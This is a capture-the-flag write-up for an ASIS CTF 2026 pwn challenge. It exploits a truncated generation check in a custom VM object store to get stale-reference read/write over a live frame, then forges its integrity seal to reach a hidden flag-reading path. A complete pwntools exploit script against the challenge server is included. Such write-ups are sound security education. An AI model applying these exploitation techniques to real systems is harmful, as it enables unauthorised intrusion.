$ cat writeup.md…
$ cat writeup.md…
asisctf2026
Task: a custom line-based VM/object store exposes notes, frames, checkpoints, and signal-driven execution, protected by per-frame seals. Solution: revive a stale bookmark through 8-bit generation wrap, read and rewrite a live frame, forge the primary seal, and abuse RESTORE's hidden /flag path.
A paranoid VM, a badly timed signal, and a flag begging to escape.
We are given a remote service implementing a custom line-based VM and object store. The timer/signal part matters for creating a checkpoint, but the real exploit is not a classic buffer overflow and not just a race: it is stale-object reuse caused by truncated generation checks, followed by frame seal forgery.
The service understands these commands:
NEWNOTE <hex>EDITBOOKMARKREADWRITEDROPTIMERRUNRESTOREQUITIt manages fixed-size slot objects. Each slot is 0xc8 bytes total: 8 bytes of metadata (state and generation) plus a 0xc0-byte payload. Notes and VM frames both live inside this shared slot array.
That shared storage is where the real bug appears. BOOKMARK saves only the low byte of a note generation. Later, READ and WRITE only require the target slot to still be non-zero and to match that truncated generation byte; they do not require the object to still be a note. So after bookmarking a note, freeing it, and cycling the same slot through 255 generation increments, the old bookmark becomes valid again for one generation window when a frame lands in the same slot.
This gives stale-bookmark arbitrary READ/WRITE over a live frame object. That primitive is enough to win.
The signal machinery is still needed, but only for checkpoint creation. TIMER 1000 followed by RUN <frame_id> 92 <frame_id> 6f reliably makes the VM save a checkpoint when opcode 0x92 runs long enough for SIGALRM to flip the global flag.
RESTORE contains the hidden win path: if the restored frame has selector 0x5352858a and string /flag, it calls pread on the memfd-backed flag and prints the contents. However, frames are sealed. RUN validates both a primary seal and another seal used during execution, so simply overwriting frame fields is not enough.
The important asymmetry is that RESTORE re-checks only the primary seal at +0x18 and the checksum at +0x20. It does not re-check the secondary seal used by RUN. By first reading a legitimate frame through the stale bookmark, we obtain enough fields to invert the Murmur-style finalizer used by the primary seal helper, recover the per-session primary secret, and forge a fresh valid primary seal for attacker-chosen frame contents.
Exploit chain:
NOTE 41 and bookmark it.DROP the note.READ 0 0 156 to dump the frame payload.TIMER 1000 and run 92 <frame_id> 6f to create a checkpoint for that legitimate frame.WRITE: set selector 0x5352858a, set the string to /flag, forge a new primary seal, and recompute the checksum.RESTORE. Because it checks only the forged primary seal and checksum, the modified frame passes validation and hits the hidden /flag path.The local solve.py follows exactly this flow. It first obtains the bookmark-based frame leak, then uses recover_secret1() to derive the primary secret from a legitimate frame. After that it creates the checkpoint, rewrites selector/string/integrity fields, and finally triggers RESTORE to print the flag.
#!/usr/bin/env python3 from pwn import * from struct import pack, unpack_from HOST = '91.107.187.160' PORT = 18121 MASK = (1 << 64) - 1 C1 = 0xff51afd7ed558ccd C2 = 0xc4ceb9fe1a85ec53 CONST = 0x803196d6a2a4c21c INV_C1 = 0x4f74430c22a54005 INV_C2 = 0x9cb4b2f8129337db def unxorshr(y, shift=33): x = y for _ in range(6): x = y ^ (x >> shift) return x & MASK def fmix64(x): x ^= x >> 33 x = (x * C1) & MASK x ^= x >> 33 x = (x * C2) & MASK x ^= x >> 33 return x & MASK def inv_fmix64(y): x = unxorshr(y, 33) x = (x * INV_C2) & MASK x = unxorshr(x, 33) x = (x * INV_C1) & MASK x = unxorshr(x, 33) return x & MASK def stage_a(x): x ^= x >> 33 x = (x * C1) & MASK x ^= x >> 33 x = (x * C2) & MASK return x & MASK def recover_secret1(frame): magic, selector = unpack_from('<II', frame, 0) a16 = unpack_from('<H', frame, 8)[0] b16 = unpack_from('<H', frame, 0xA)[0] q10 = unpack_from('<Q', frame, 0x10)[0] seal = unpack_from('<Q', frame, 0x18)[0] q24 = unpack_from('<Q', frame, 0x24)[0] pre = inv_fmix64(seal) a = stage_a(((a16 << 48) ^ q24) & MASK) secret = pre ^ q10 ^ ((b16 & 0xFFFF) << 17) ^ (((magic << 32) | selector) & MASK) ^ a ^ (a >> 33) ^ CONST assert forge_seal(frame, secret) == seal return secret def forge_seal(frame, secret): magic, selector = unpack_from('<II', frame, 0) a16 = unpack_from('<H', frame, 8)[0] b16 = unpack_from('<H', frame, 0xA)[0] q10 = unpack_from('<Q', frame, 0x10)[0] q24 = unpack_from('<Q', frame, 0x24)[0] a = stage_a(((a16 << 48) ^ q24) & MASK) pre = q10 ^ ((a >> 33) ^ secret) ^ ((b16 & 0xFFFF) << 17) ^ (((magic << 32) | selector) & MASK) ^ a ^ CONST return fmix64(pre) def frame_hash(frame): data = bytearray(frame[:0x9C]) data[0x20:0x24] = b'\x00' * 4 h = 0xCA81E7E2 for b in data: h ^= b h = (h * 0x1000193) & 0xFFFFFFFF return h def recvline(io): line = io.recvline(timeout=5) if line is None: raise EOFError('no response') return line.decode().strip() def main(): io = remote(HOST, PORT, timeout=10) print(recvline(io)) io.sendline(b'NOTE 41') note = int(recvline(io).split('note=')[1].split()[0]) io.sendline(f'BOOKMARK {note}'.encode()) print(recvline(io)) io.sendline(f'DROP {note}'.encode()) print(recvline(io)) for _ in range(127): io.sendline(b'NEW') frame_id = int(recvline(io).split('frame=')[1].split()[0]) io.sendline(f'DROP {frame_id}'.encode()) recvline(io) io.sendline(b'NEW') frame_line = recvline(io) print(frame_line) frame_id = int(frame_line.split('frame=')[1].split()[0]) io.sendline(b'READ 0 0 156') frame = bytearray(bytes.fromhex(recvline(io).split('=')[1])) secret1 = recover_secret1(frame) io.sendline(b'TIMER 1000') print(recvline(io)) io.sendline(f'RUN {frame_id} {bytes([0x92, frame_id, 0x6f]).hex()}'.encode()) print(recvline(io)) frame[4:8] = pack('<I', 0x5352858A) frame[0x24:0x2C] = b'/flag\x00\x00\x00' frame[0x18:0x20] = pack('<Q', 0) frame[0x20:0x24] = pack('<I', 0) frame[0x18:0x20] = pack('<Q', forge_seal(frame, secret1)) frame[0x20:0x24] = pack('<I', frame_hash(frame)) for off, blob in [ (4, frame[4:8]), (0x18, frame[0x18:0x20]), (0x20, frame[0x20:0x24]), (0x24, frame[0x24:0x2C]), ]: io.sendline(f'WRITE 0 {off} {blob.hex()}'.encode()) print(recvline(io)) io.sendline(b'RESTORE') print(recvline(io)) io.close() if __name__ == '__main__': main()
$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar